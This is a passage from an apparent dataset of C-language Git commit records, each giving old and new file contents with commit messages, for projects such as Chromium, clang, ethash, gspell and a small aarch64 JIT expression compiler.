when allocating initial thread block","message":"Cleanup: Remove unnecessary rounding when allocating initial thread block\n\nThe other calls to __nacl_tls_combined_size() don't do this.\n\n__nacl_tls_combined_size() should be doing any necessary rounding itself.\n\nBUG=none\nTEST=trybots\n\nReview URL: https:\/\/codereview.chromium.org\/18555008\n\ngit-svn-id: 721b910a23eff8a86f00c8fd261a7587cddf18f8@11698 fcba33aa-ac0c-11dd-b9e7-8d5594d729c2\n","lang":"C","license":"bsd-3-clause","repos":"Lind-Project\/native_client,Lind-Project\/native_client,Lind-Project\/native_client,Lind-Project\/native_client,Lind-Project\/native_client,Lind-Project\/native_client"}
{"commit":"953971c35e92472d75067d956b3268c2e2825fd1","old_file":"src\/toc_private.h","new_file":"src\/toc_private.h","old_contents":"","new_contents":"\/* toc_private.h - Private optical disc table of contents (TOC) API\n *\n * Copyright (c) 2011 Ian Jacobi <pipian@pipian.com>\n * \n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use, copy,\n * modify, merge, publish, distribute, sublicense, and\/or sell copies\n * of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n\n#ifndef _LIBCUEIFY_TOC_PRIVATE_H\n#define _LIBCUEIFY_TOC_PRIVATE_H\n\n#include <libcueify\/types.h>\n\n#define MAX_TRACKS  100  \/** Maximum number of tracks on a CD. *\/\n\n\/** Internal structure to hold track data in a TOC. *\/\ntypedef struct {\n    \/** Sub-Q-channel content format. *\/\n    uint8_t adr;\n    \/** Track control flags. *\/\n    uint8_t control;\n    \/** Offset of the start of the track (LBA). *\/\n    uint32_t lba;\n} cueify_toc_track_private;\n\n\/** Internal structure to hold TOC data. *\/\ntypedef struct {\n    \/** Number of the first track in the TOC. *\/\n    uint8_t first_track_number;\n    \/** Number of the last track in the TOC. *\/\n    uint8_t last_track_number;\n    \/** Tracks in the TOC. *\/\n    cueify_toc_track_private tracks[MAX_TRACKS];\n} cueify_toc_private;\n\n#endif  \/* _LIBCUEIFY_TOC_PRIVATE_H *\/\n","subject":"Add private TOC data type","message":"Add private TOC data type\n","lang":"C","license":"mit","repos":"pipian\/libcueify,pipian\/libcueify,pipian\/libcueify,pipian\/libcueify,pipian\/libcueify"}
{"commit":"715d1d7ea657172072bd95f436b7fc6290b97b92","old_file":"KristalliProtocolModule\/KristalliProtocolModuleApi.h","new_file":"KristalliProtocolModule\/KristalliProtocolModuleApi.h","old_contents":"\/\/ For conditions of distribution and use, see copyright notice in license.txt\n\n#ifndef incl_KristalliProtocolModuleApi_h\n#define incl_KristalliProtocolModuleApi_h\n\n#if defined (_WINDOWS)\n#if defined(KRISTALLIPROTOCOL_MODULE_EXPORTS) \n#define KRISTALLIPROTOCOL_MODULE_API __declspec(dllexport)\n#else\n#define KRISTALLIPROTOCOL_MODULE_API __declspec(dllimport) \n#endif\n#else\n#define KRISTALLIPROTOCOL\n#endif\n\n#endif\n","new_contents":"\/\/ For conditions of distribution and use, see copyright notice in license.txt\n\n#ifndef incl_KristalliProtocolModuleApi_h\n#define incl_KristalliProtocolModuleApi_h\n\n#if defined (_WINDOWS)\n#if defined(KRISTALLIPROTOCOL_MODULE_EXPORTS) \n#define KRISTALLIPROTOCOL_MODULE_API __declspec(dllexport)\n#else\n#define KRISTALLIPROTOCOL_MODULE_API __declspec(dllimport) \n#endif\n#else\n#define KRISTALLIPROTOCOL_MODULE_API\n#endif\n\n#endif\n","subject":"Fix syntax error for linux build.","message":"Fix syntax error for linux build.\n","lang":"C","license":"apache-2.0","repos":"realXtend\/tundra,antont\/tundra,antont\/tundra,BogusCurry\/tundra,antont\/tundra,jesterKing\/naali,BogusCurry\/tundra,AlphaStaxLLC\/tundra,pharos3d\/tundra,AlphaStaxLLC\/tundra,AlphaStaxLLC\/tundra,antont\/tundra,antont\/tundra,realXtend\/tundra,AlphaStaxLLC\/tundra,pharos3d\/tundra,antont\/tundra,realXtend\/tundra,AlphaStaxLLC\/tundra,antont\/tundra,jesterKing\/naali,realXtend\/tundra,BogusCurry\/tundra,pharos3d\/tundra,jesterKing\/naali,realXtend\/tundra,realXtend\/tundra,pharos3d\/tundra,BogusCurry\/tundra,jesterKing\/naali,BogusCurry\/tundra,BogusCurry\/tundra,jesterKing\/naali,jesterKing\/naali,AlphaStaxLLC\/tundra,pharos3d\/tundra,pharos3d\/tundra,jesterKing\/naali"}
{"commit":"695dbab30302266c3edf137895eb0627d7188d8d","old_file":"chrome\/browser\/chromeos\/cros\/mock_update_library.h","new_file":"chrome\/browser\/chromeos\/cros\/mock_update_library.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_CHROMEOS_CROS_MOCK_UPDATE_LIBRARY_H_\n#define CHROME_BROWSER_CHROMEOS_CROS_MOCK_UPDATE_LIBRARY_H_\n#pragma once\n\n#include \"base\/observer_list.h\"\n#include \"chrome\/browser\/chromeos\/cros\/update_library.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n\nnamespace chromeos {\n\nclass MockUpdateLibrary : public UpdateLibrary {\n public:\n  MockUpdateLibrary() {}\n  virtual ~MockUpdateLibrary() {}\n  MOCK_METHOD1(AddObserver, void(Observer*));  \/\/ NOLINT\n  MOCK_METHOD1(RemoveObserver, void(Observer*));  \/\/ NOLINT\n  MOCK_METHOD0(CheckForUpdate, bool(void));\n  MOCK_METHOD0(RebootAfterUpdate, bool(void));\n  MOCK_METHOD1(SetReleaseTrack, bool(const std::string&));\n  MOCK_METHOD1(GetReleaseTrack, std::string());\n  MOCK_CONST_METHOD0(status, const Status&(void));\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(MockUpdateLibrary);\n};\n\n}  \/\/ namespace chromeos\n\n#endif  \/\/ CHROME_BROWSER_CHROMEOS_CROS_MOCK_UPDATE_LIBRARY_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_CHROMEOS_CROS_MOCK_UPDATE_LIBRARY_H_\n#define CHROME_BROWSER_CHROMEOS_CROS_MOCK_UPDATE_LIBRARY_H_\n#pragma once\n\n#include \"base\/observer_list.h\"\n#include \"chrome\/browser\/chromeos\/cros\/update_library.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n\nnamespace chromeos {\n\nclass MockUpdateLibrary : public UpdateLibrary {\n public:\n  MockUpdateLibrary() {}\n  virtual ~MockUpdateLibrary() {}\n  MOCK_METHOD1(AddObserver, void(Observer*));  \/\/ NOLINT\n  MOCK_METHOD1(RemoveObserver, void(Observer*));  \/\/ NOLINT\n  MOCK_METHOD0(CheckForUpdate, bool(void));\n  MOCK_METHOD0(RebootAfterUpdate, bool(void));\n  MOCK_METHOD1(SetReleaseTrack, bool(const std::string&));\n  MOCK_METHOD0(GetReleaseTrack, std::string());\n  MOCK_CONST_METHOD0(status, const Status&(void));\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(MockUpdateLibrary);\n};\n\n}  \/\/ namespace chromeos\n\n#endif  \/\/ CHROME_BROWSER_CHROMEOS_CROS_MOCK_UPDATE_LIBRARY_H_\n","subject":"Fix the Chrome OS build.","message":"Fix the Chrome OS build.\n\nTEST=make -j40 BUILDTYPE=Release browser_tests\nBUG=chromium-os:6030\n\nReview URL: http:\/\/codereview.chromium.org\/4129006\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@64027 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: 21f711df9e9164d849fc0c637465577383f0b1c0","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"2f3b7e4c88b3634d077f158d8a90553981b8c0a7","old_file":"include\/pector\/malloc_allocator_compat.h","new_file":"include\/pector\/malloc_allocator_compat.h","old_contents":"#ifndef PECTOR_MALLOC_ALLOCATOR_COMPAT_H\n#define PECTOR_MALLOC_ALLOCATOR_COMPAT_H\n\n#ifdef __APPLE__\n#include <malloc\/malloc.h>\n#else\n#include <malloc.h>\n#endif\n\n#if defined __GNUC__ || defined _WIN32 || defined __APPLE__ || defined __FreeBSD__\n\n#define PT_SIZE_AWARE_COMPAT\n\n#if defined _WIN32\n#define PT_MALLOC_USABLE_SIZE(p) _msize(p)\n#elif defined __APPLE__\n#define PT_MALLOC_USABLE_SIZE(p) malloc_size(p)\n#elif defined __GNUC__ || defined __FreeBSD__\n#define PT_MALLOC_USABLE_SIZE(p) malloc_usable_size(p)\n#endif\n\n#endif \/\/ defined __GNUC__ || defined _WIN32 || defined __APPLE__\n\n\n#endif\n","new_contents":"#ifndef PECTOR_MALLOC_ALLOCATOR_COMPAT_H\n#define PECTOR_MALLOC_ALLOCATOR_COMPAT_H\n\n#ifdef __APPLE__\n#include <malloc\/malloc.h>\n#else\n#include <malloc.h>\n#endif\n\n#if defined __linux__ || defined __gnu_hurd__ || defined _WIN32 || defined __APPLE__ || defined __FreeBSD__\n\n#define PT_SIZE_AWARE_COMPAT\n\n#if defined _WIN32\n#define PT_MALLOC_USABLE_SIZE(p) _msize(p)\n#elif defined __APPLE__\n#define PT_MALLOC_USABLE_SIZE(p) malloc_size(p)\n#elif defined __gnu_hurd__ || __linux__ || defined __FreeBSD__\n#define PT_MALLOC_USABLE_SIZE(p) malloc_usable_size(p)\n#endif\n\n#endif \/\/ defined __GNUC__ || defined _WIN32 || defined __APPLE__\n\n\n#endif\n","subject":"Change malloc_usable_size for Linux with the __linux__ macro","message":"Change malloc_usable_size for Linux with the __linux__ macro\n\nSuggested by Carter Li.\nAlso add check for GNU\/Hurd.\n","lang":"C","license":"lgpl-2.1","repos":"pjump\/pector,aguinet\/pector,aguinet\/pector,pjump\/pector"}
{"commit":"c9454b616a60f0d476333b655458c81830562f9a","old_file":"util.h","new_file":"util.h","old_contents":"\/*\n  This file is part of ethash.\n\n  ethash is free software: you can redistribute it and\/or modify\n  it under the terms of the GNU General Public License as published by\n  the Free Software Foundation, either version 3 of the License, or\n  (at your option) any later version.\n\n  ethash is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n  GNU General Public License for more details.\n\n  You should have received a copy of the GNU General Public License\n  along with ethash.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file util.h\n * @author Tim Hughes <tim@twistedfury.com>\n * @date 2015\n *\/\n#pragma once\n#include <stdint.h>\n#include \"compiler.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/\/#ifdef _MSC_VER\nvoid debugf(char const* str, ...);\n\/\/#else\n\/\/#define debugf printf\n\/\/#endif\n\nstatic inline uint32_t min_u32(uint32_t a, uint32_t b)\n{\n\treturn a < b ? a : b;\n}\n\nstatic inline uint32_t clamp_u32(uint32_t x, uint32_t min_, uint32_t max_)\n{\n\treturn x < min_ ? min_ : (x > max_ ? max_ : x);\n}\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/*\n  This file is part of ethash.\n\n  ethash is free software: you can redistribute it and\/or modify\n  it under the terms of the GNU General Public License as published by\n  the Free Software Foundation, either version 3 of the License, or\n  (at your option) any later version.\n\n  ethash is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n  GNU General Public License for more details.\n\n  You should have received a copy of the GNU General Public License\n  along with ethash.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file util.h\n * @author Tim Hughes <tim@twistedfury.com>\n * @date 2015\n *\/\n#pragma once\n#include <stdint.h>\n#include \"compiler.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid debugf(char const* str, ...);\n\nstatic inline uint32_t min_u32(uint32_t a, uint32_t b)\n{\n\treturn a < b ? a : b;\n}\n\nstatic inline uint32_t clamp_u32(uint32_t x, uint32_t min_, uint32_t max_)\n{\n\treturn x < min_ ? min_ : (x > max_ ? max_ : x);\n}\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Add comment about stack probing and remove unused ifdefs","message":"Add comment about stack probing and remove unused ifdefs\n","lang":"C","license":"mit","repos":"PaulGrey30\/go-get--u-github.com-tools-godep,LefterisJP\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,d-das\/cpp-ethereum,joeldo\/cpp-ethereum,xeddmc\/cpp-ethereum,expanse-org\/cpp-expanse,eco\/cpp-ethereum,yann300\/cpp-ethereum,gluk256\/cpp-ethereum,expanse-project\/cpp-expanse,karek314\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,expanse-project\/cpp-expanse,xeddmc\/cpp-ethereum,anthony-cros\/cpp-ethereum,xeddmc\/cpp-ethereum,xeddmc\/cpp-ethereum,expanse-org\/cpp-expanse,joeldo\/cpp-ethereum,ethers\/cpp-ethereum,smartbitcoin\/cpp-ethereum,joeldo\/cpp-ethereum,ethers\/cpp-ethereum,vaporry\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,expanse-org\/cpp-expanse,eco\/cpp-ethereum,yann300\/cpp-ethereum,programonauta\/webthree-umbrella,d-das\/cpp-ethereum,anthony-cros\/cpp-ethereum,expanse-project\/cpp-expanse,expanse-project\/cpp-expanse,expanse-org\/cpp-expanse,smartbitcoin\/cpp-ethereum,LefterisJP\/cpp-ethereum,expanse-project\/cpp-expanse,LefterisJP\/cpp-ethereum,ethers\/cpp-ethereum,gluk256\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,expanse-org\/cpp-expanse,d-das\/cpp-ethereum,vaporry\/cpp-ethereum,anthony-cros\/cpp-ethereum,karek314\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,johnpeter66\/ethminer,LefterisJP\/webthree-umbrella,Sorceror32\/go-get--u-github.com-tools-godep,PaulGrey30\/go-get--u-github.com-tools-godep,eco\/cpp-ethereum,d-das\/cpp-ethereum,d-das\/cpp-ethereum,smartbitcoin\/cpp-ethereum,programonauta\/webthree-umbrella,smartbitcoin\/cpp-ethereum,yann300\/cpp-ethereum,ethers\/cpp-ethereum,eco\/cpp-ethereum,karek314\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,expanse-project\/cpp-expanse,karek314\/cpp-ethereum,vaporry\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,johnpeter66\/ethminer,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,joeldo\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,vaporry\/webthree-umbrella,expanse-org\/cpp-expanse,chfast\/webthree-umbrella,joeldo\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,yann300\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,xeddmc\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,yann300\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,eco\/cpp-ethereum,ethers\/cpp-ethereum,smartbitcoin\/cpp-ethereum,karek314\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,LefterisJP\/webthree-umbrella,vaporry\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,arkpar\/webthree-umbrella,anthony-cros\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,LefterisJP\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,vaporry\/cpp-ethereum,anthony-cros\/cpp-ethereum,gluk256\/cpp-ethereum,xeddmc\/cpp-ethereum,eco\/cpp-ethereum,yann300\/cpp-ethereum,johnpeter66\/ethminer,smartbitcoin\/cpp-ethereum,gluk256\/cpp-ethereum,d-das\/cpp-ethereum,LefterisJP\/cpp-ethereum,ethers\/cpp-ethereum,LefterisJP\/cpp-ethereum,vaporry\/cpp-ethereum,gluk256\/cpp-ethereum,gluk256\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,karek314\/cpp-ethereum,anthony-cros\/cpp-ethereum,joeldo\/cpp-ethereum"}
{"commit":"8377ed36990acb2eae2b1a4775f00688ab4490ea","old_file":"tests\/performance.c","new_file":"tests\/performance.c","old_contents":"int test_performance() {\n    asic_t *device = asic_init(TI83p);\n\n    struct timespec start, stop;\n    unsigned long long t;\n    int i;\n    clock_gettime(CLOCK_MONOTONIC_RAW, &start);\n    for (i = 0; i < 1000000; i++) {\n        i -= cpu_execute(device->cpu, 1);\n    }\n    clock_gettime(CLOCK_MONOTONIC_RAW, &stop);\n    t = (stop.tv_sec*1000000000UL) + stop.tv_nsec;\n    t -= (start.tv_sec * 1000000000UL) + start.tv_nsec;\n    printf(\"executed 1,000,000 cycles in %llu microseconds (~%llu MHz)\\n\", t\/1000, 1000000000\/t);\n\n    asic_free(device);\n    return -1;\n}\n","new_contents":"int test_performance() {\n    asic_t *device = asic_init(TI83p);\n\n    clock_t start, stop;\n    int i;\n    start = clock();\n    for (i = 0; i < 1000000; i++) {\n        i -= cpu_execute(device->cpu, 1);\n    }\n    stop = clock();\n    double time = (double)(stop - start) \/ (CLOCKS_PER_SEC \/ 1000);\n    double mHz = 1000.0 \/ time;\n    printf(\"executed 1,000,000 cycles in %f milliseconds (~%f MHz)\\n\", time, mHz);\n\n    asic_free(device);\n    return -1;\n}\n","subject":"Switch to more common timing functions","message":"Switch to more common timing functions\n","lang":"C","license":"mit","repos":"KnightOS\/z80e,KnightOS\/z80e"}
{"commit":"2e17599c6ff8bef564e07455588a78ca4e9a5f09","old_file":"src\/lib\/arch\/aarch64\/linux\/linux_aarch64.c","new_file":"src\/lib\/arch\/aarch64\/linux\/linux_aarch64.c","old_contents":"","new_contents":"#include <string.h>\n#include <math.h>\n#include <sys\/mman.h>\n#include \"expreval_internal.h\"\n\nstatic void *create_executable_code_aarch64_linux(const char *machine_code, int size);\n\nvoid *compile_function_internal(compiler c, token first_token, int *size)\n{\n    unsigned char code[MAX_CODE_LEN];\n\n    unsigned char tmp[] = {0x1e, 0x60, 0x28, 0x00, 0xd6, 0x5f, 0x03, 0xc0};\n    int n = 8;\n\n    memcpy(code, tmp, n);\n\n    return create_executable_code_aarch64_linux(code, n);\n}\n\n\/*\n        Attraverso opportune chiamate al kernel alloca un vettore della dimensione adatta che contenga\n        il codice appena compilato, vi copia il codice e lo rende eseguibile (avendo cura di renderlo\n        non scrivibile, visto che è bene che la memoria non sia mai scrivibile ed eseguibile nello\n        stesso momento.\n*\/\nstatic void *create_executable_code_aarch64_linux(const char *machine_code, int size)\n{\n        \/* Memoria rw- *\/\n        void *mem = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);\n        if(mem == MAP_FAILED)\n                return NULL;\n        \/* Scrivo il codice *\/\n        memcpy(mem, machine_code, size);\n        \/* Inibisco la scrittura e consento l'esecuzione (r-x) *\/\n        if(mprotect(mem, size, PROT_READ | PROT_EXEC) < 0)\n        {\n                munmap(mem, size);\n                return NULL;\n        }\n\n        return mem;\n}\n","subject":"Add aarch64 jit compiler stub","message":"Add aarch64 jit compiler stub\n","lang":"C","license":"mit","repos":"lr94\/libexpreval,lr94\/libexpreval"}
{"commit":"8634605ecfa7cb7b339b066e57348ef7f4801e32","old_file":"lib\/CodeGen\/SanitizerBlacklist.h","new_file":"lib\/CodeGen\/SanitizerBlacklist.h","old_contents":"\/\/===--- SanitizerBlacklist.h - Blacklist for sanitizers --------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ User-provided blacklist used to disable\/alter instrumentation done in\n\/\/ sanitizers.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef LLVM_CLANG_LIB_CODEGEN_SANITIZERBLACKLIST_H\n#define LLVM_CLANG_LIB_CODEGEN_SANITIZERBLACKLIST_H\n\n#include \"clang\/Basic\/LLVM.h\"\n#include \"llvm\/ADT\/StringRef.h\"\n#include \"llvm\/Support\/SpecialCaseList.h\"\n#include <memory>\n\nnamespace llvm {\nclass GlobalVariable;\nclass Function;\nclass Module;\n}\n\nnamespace clang {\nnamespace CodeGen {\n\nclass SanitizerBlacklist {\n  std::unique_ptr<llvm::SpecialCaseList> SCL;\n\npublic:\n  SanitizerBlacklist(llvm::SpecialCaseList *SCL) : SCL(SCL) {}\n  bool isIn(const llvm::Module &M,\n            StringRef Category = StringRef()) const;\n  bool isIn(const llvm::Function &F) const;\n  bool isIn(const llvm::GlobalVariable &G,\n            StringRef Category = StringRef()) const;\n  bool isBlacklistedType(StringRef MangledTypeName) const;\n};\n}  \/\/ end namespace CodeGen\n}  \/\/ end namespace clang\n\n#endif\n","new_contents":"\/\/===--- SanitizerBlacklist.h - Blacklist for sanitizers --------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ User-provided blacklist used to disable\/alter instrumentation done in\n\/\/ sanitizers.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef LLVM_CLANG_LIB_CODEGEN_SANITIZERBLACKLIST_H\n#define LLVM_CLANG_LIB_CODEGEN_SANITIZERBLACKLIST_H\n\n#include \"clang\/Basic\/LLVM.h\"\n#include \"llvm\/ADT\/StringRef.h\"\n#include \"llvm\/Support\/SpecialCaseList.h\"\n#include <memory>\n\nnamespace llvm {\nclass GlobalVariable;\nclass Function;\nclass Module;\n}\n\nnamespace clang {\nnamespace CodeGen {\n\nclass SanitizerBlacklist {\n  std::unique_ptr<llvm::SpecialCaseList> SCL;\n\npublic:\n  SanitizerBlacklist(std::unique_ptr<llvm::SpecialCaseList> SCL)\n      : SCL(std::move(SCL)) {}\n  bool isIn(const llvm::Module &M,\n            StringRef Category = StringRef()) const;\n  bool isIn(const llvm::Function &F) const;\n  bool isIn(const llvm::GlobalVariable &G,\n            StringRef Category = StringRef()) const;\n  bool isBlacklistedType(StringRef MangledTypeName) const;\n};\n}  \/\/ end namespace CodeGen\n}  \/\/ end namespace clang\n\n#endif\n","subject":"Fix for LLVM API change to SpecialCaseList::create","message":"Fix for LLVM API change to SpecialCaseList::create\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@216926 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"8eb990df360a6eaac3a6bfe3bcb22636d99edc0b","old_file":"gspell\/gspell-init.h","new_file":"gspell\/gspell-init.h","old_contents":"\/*\n * This file is part of gspell, a spell-checking library.\n *\n * Copyright 2016 - Ignacio Casal Quinteiro <icq@gnome.org>\n * Copyright 2016 - Sébastien Wilmet <swilmet@gnome.org>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef GSPELL_INIT_H\n#define GSPELL_INIT_H\n\n#include <glib.h>\n\n#ifdef G_OS_WIN32\n#include <windef.h>\n\nG_GNUC_INTERNAL\nHMODULE _gspell_init_get_dll (void);\n\n#endif \/* G_OS_WIN32 *\/\n\n#endif \/* GSPELL_INIT_H *\/\n\n\/* ex:set ts=8 noet: *\/\n","new_contents":"\/*\n * This file is part of gspell, a spell-checking library.\n *\n * Copyright 2016 - Ignacio Casal Quinteiro <icq@gnome.org>\n * Copyright 2016 - Sébastien Wilmet <swilmet@gnome.org>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef GSPELL_INIT_H\n#define GSPELL_INIT_H\n\n#include <glib.h>\n\n#ifdef G_OS_WIN32\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n\nG_GNUC_INTERNAL\nHMODULE _gspell_init_get_dll (void);\n\n#endif \/* G_OS_WIN32 *\/\n\n#endif \/* GSPELL_INIT_H *\/\n\n\/* ex:set ts=8 noet: *\/\n","subject":"Revert \"win32: include windef.h instead of windows.h\"","message":"Revert \"win32: include windef.h instead of windows.h\"\n\nThis reverts commit 7a51b17a061cb4e83c5d0e862cb1c4c32c7033e7.\n\nThis was actually good, normally. See the discussion at:\nhttps:\/\/bugzilla.gnome.org\/show_bug.cgi?id=774325\n\nNot tested, I don't test gspell on\/for Windows.\n","lang":"C","license":"lgpl-2.1","repos":"GNOME\/gspell,GNOME\/gspell"}
{"commit":"0f993209fdd1e8bed4e9fd3d9ba758416b39eaa8","old_file":"src\/plugins\/orbbec_hand\/TrackedPoint.h","new_file":"src\/plugins\/orbbec_hand\/TrackedPoint.h","old_contents":"#ifndef TRACKEDPOINT_H\n#define TRACKEDPOINT_H\n\n#include <opencv2\/core\/affine.hpp>\n#include \"TrackingData.h\"\n\nnamespace sensekit { namespace plugins { namespace hand {\n\n    struct TrackedPoint\n    {\n    public:\n        cv::Point m_position;\n        cv::Point3f m_worldPosition;\n        cv::Point3f m_steadyWorldPosition;\n        cv::Point3f m_worldDeltaPosition;\n        int m_trackingId;\n        int m_inactiveFrameCount;\n        float m_totalContributionArea;\n        int m_wrongAreaCount;\n        int m_activeFrameCount;\n        TrackedPointType m_type;\n        TrackingStatus m_status;\n\n        TrackedPoint(cv::Point position, cv::Point3f worldPosition, int trackingId)\n        {\n            m_type = TrackedPointType::CandidatePoint;\n            m_status = TrackingStatus::NotTracking;\n            m_position = position;\n            m_worldPosition = worldPosition;\n            m_steadyWorldPosition = worldPosition;\n            m_worldDeltaPosition = cv::Point3f(0, 0, 0);\n            m_trackingId = trackingId;\n            m_inactiveFrameCount = 0;\n            m_activeFrameCount = 0;\n            m_totalContributionArea = 0;\n            m_wrongAreaCount = 0;\n        }\n    };\n}}}\n\n#endif \/\/ TRACKEDPOINT_H","new_contents":"#ifndef TRACKEDPOINT_H\n#define TRACKEDPOINT_H\n\n#include <opencv2\/core\/affine.hpp>\n#include \"TrackingData.h\"\n\nnamespace sensekit { namespace plugins { namespace hand {\n\n    struct TrackedPoint\n    {\n    public:\n        cv::Point m_position;\n        cv::Point3f m_worldPosition;\n        cv::Point3f m_worldDeltaPosition;\n        cv::Point3f m_steadyWorldPosition;\n        int m_trackingId;\n        int m_inactiveFrameCount;\n        int m_activeFrameCount;\n        TrackedPointType m_type;\n        TrackingStatus m_status;\n\n        TrackedPoint(cv::Point position, cv::Point3f worldPosition, int trackingId)\n        {\n            m_type = TrackedPointType::CandidatePoint;\n            m_status = TrackingStatus::NotTracking;\n            m_position = 